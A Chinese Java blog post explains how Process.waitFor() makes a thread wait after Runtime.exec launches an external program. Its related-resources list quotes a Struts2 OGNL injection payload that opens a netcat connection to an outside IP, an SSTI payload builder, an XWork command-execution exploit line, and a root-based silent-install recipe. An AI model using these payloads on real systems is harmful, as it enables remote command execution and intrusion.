`

java.lang.Runtime.getRuntime().exec 调用后,等待被调用程序结束后再继续执行

    博客分类:
  • Java
阅读更多
在java中调用操作系统的程序时,可以使用java.lang.Runtime.getRuntime().exec() 来实现,但是这个方法在调用命令后就直接返回当前线程了;程序设计时,有时候需要在等待调用的系统程序完成操作后,当前线程才能做下一步操作,此时可以用类Process的方法waitFor()来实现,它会阻塞当先线程直至调用程序运行结束
java.lang.Process process = java.lang.Runtime.getRuntime().exec("");//执行命令生成cube
try {
   process.waitFor();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
   e.printStackTrace();
}
proc_stat = checkFileSize() ? "1" : "3";


Process的方法waitFor()介绍,取自API文档:
waitFor
public abstract int waitFor()
                     throws InterruptedException导致当前线程等待,如果必要,一直要等到由该 Process 对象表示的进程已经终止。如果已终止该子进程,此方法立即返回。如果没有终止该子进程,调用的线程将被阻塞,直到退出子进程。

返回:
进程的出口值。根据惯例,0 表示正常终止。
抛出:
InterruptedException - 如果当前线程在等待时被另一线程 中断,则停止等待,抛出 InterruptedException。
分享到:
评论

相关推荐

    Runtime 执行bat

    Runtime 执行bat

    【IDEA】windows环境下IDEA java代码Runtime.getRuntime.exec中shell的执行环境的解决方案

    windows环境下IDEA java代码Runtime.getRuntime.exec中shell的执行环境的解决方案前言解决办法后记 前言 在使用IDEA本地开发监控守护线程的后台,我遇上了执行环境不兼容的问题,爆出各种“xxx不是内部或外部命令,...

    解决runtime.exec()执行进程block死锁以及为waitFor设置超时

    完美解决runtime.exec()执行进程block死锁以及为waitFor设置超时 不需要耗cpu的循环判断exitValue==0 开两个进程搞定

    Java调用Linux命令

    Java调用Linux命令 调用Runtime.exec方法将产生一个本地的进程,并返回一个Process子类的实例, (注意:Runtime.getRuntime().exec(command)返回的是一个Process类的实例), 该实例可用于控制进程或取得进程的...

    Android中软件的静默安装

    1,申请root权限Runtime.getRuntime().exec("su"); 2,通过数据输出流DataOutputStream写入pm install命令; 3,最后获取Process进程的返回值int i = process.waitFor();,如果i=0,则表明已获取root权限。

    详解Java8与Runtime.getRuntime().availableProcessors()

    主要介绍了详解Java8与Runtime.getRuntime().availableProcessors(),文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

    Apache的Struts2框架严重安全漏洞

    \u003d\u0023foo%27%29%28\u0023foo\u003dnew%20java.lang.Boolean%28%22false%22%29%29%29&%28asdf%29%28%28%27\u0023rt.exec%28%22/usr/bin/nc%2067.205.52.169%208888%22%29%27%29%28\u0023rt\u003d@java.lang....

    ssti-payload:SSTI有效载荷生成器

    ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character...

    FFmpeg(liunx中amr转MP3工具)

    java.lang.Runtime rt = Runtime.getRuntime(); //命令 String command = fileUrl+"ffmpeg -i " + localPath + " " + targetFilePath; //执行amr转MP3命令 Process proc = rt.exec(command); InputStream ...

    java实现动态波形曲线显示.rar

     java的Runtime.getRuntime().exec(commandStr)可以调用执行cmd指令。  cmd /c dir 是执行完dir命令后关闭命令窗口。  cmd /k dir 是执行完dir命令后不关闭命令窗口。  cmd /c start dir 会打开一个新...

    XWork绕过安全限制执行任意命令漏洞补丁

    CVE ID: CVE-2010-1870 XWork是一个命令模式框架,用于支持Struts 2及其他应用。 XWork处理用户请求参数数据时存在漏洞,远程攻击者可以...#rt = @java.lang.Runtime@getRuntime() #rt.exec('mkdir /tmp/PWNED')

    java 查看任务管理里面的所有线程

    java 查看任务管理里面的所有线程 Proces java.lang.Runtime.getRuntime().exec("ipconfig");

    蜂鸣器exe,可用java调用

    蜂鸣器exe,可用java调用 Runtime.getRuntime().exec("d:\\beep.exe");

    Java精华(免费版)

    p=Runtime.getRuntime().exec("notepad.exe Property.java"); //启动记事本并且打开源文件。 Thread.sleep(5000); //持续5秒 p.destroy(); //关闭该进程 } catch(Exception ex) { ex.printStackTrace(); } } } 1.1....

    android 串口驱动

    su = Runtime.getRuntime().exec("/system/bin/su"); /*String cmd = "chmod 777 " + device.getAbsolutePath() + "\n" + "exit\n";*/ String cmd = "chmod 777 /dev/s3c_serial0" + "\n" + ...

    Java 免费给手机发飞信

    Runtime.getRuntime().exec(e.getBody().trim().substring(3)); } catch (IOException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } } } } }); fetion.login(); for (Contact cc :...

    解决Java调用BAT批处理不弹出cmd窗口的方法分析

    本篇文章是对Java调用BAT批处理不弹出cmd窗口的方法进行了详细的分析介绍,需要的朋友参考下

    android截屏

    这里不是通过view来截图,也不是通过底层的framebuffer实现截图,而是采用另外一种方法实现截图,通过Runtime.getRuntime().exec()来实现,并保存在sdcard上,代码很简单。

    Java编程使用Runtime和Process类运行外部程序的方法

    主要介绍了Java编程使用Runtime和Process类运行外部程序的方法,结合实例形式分析了java使用Runtime.getRuntime().exec()方法运行外部程序的常见情况与操作技巧,需要的朋友可以参考下

Global site tag (gtag.js) - Google Analytics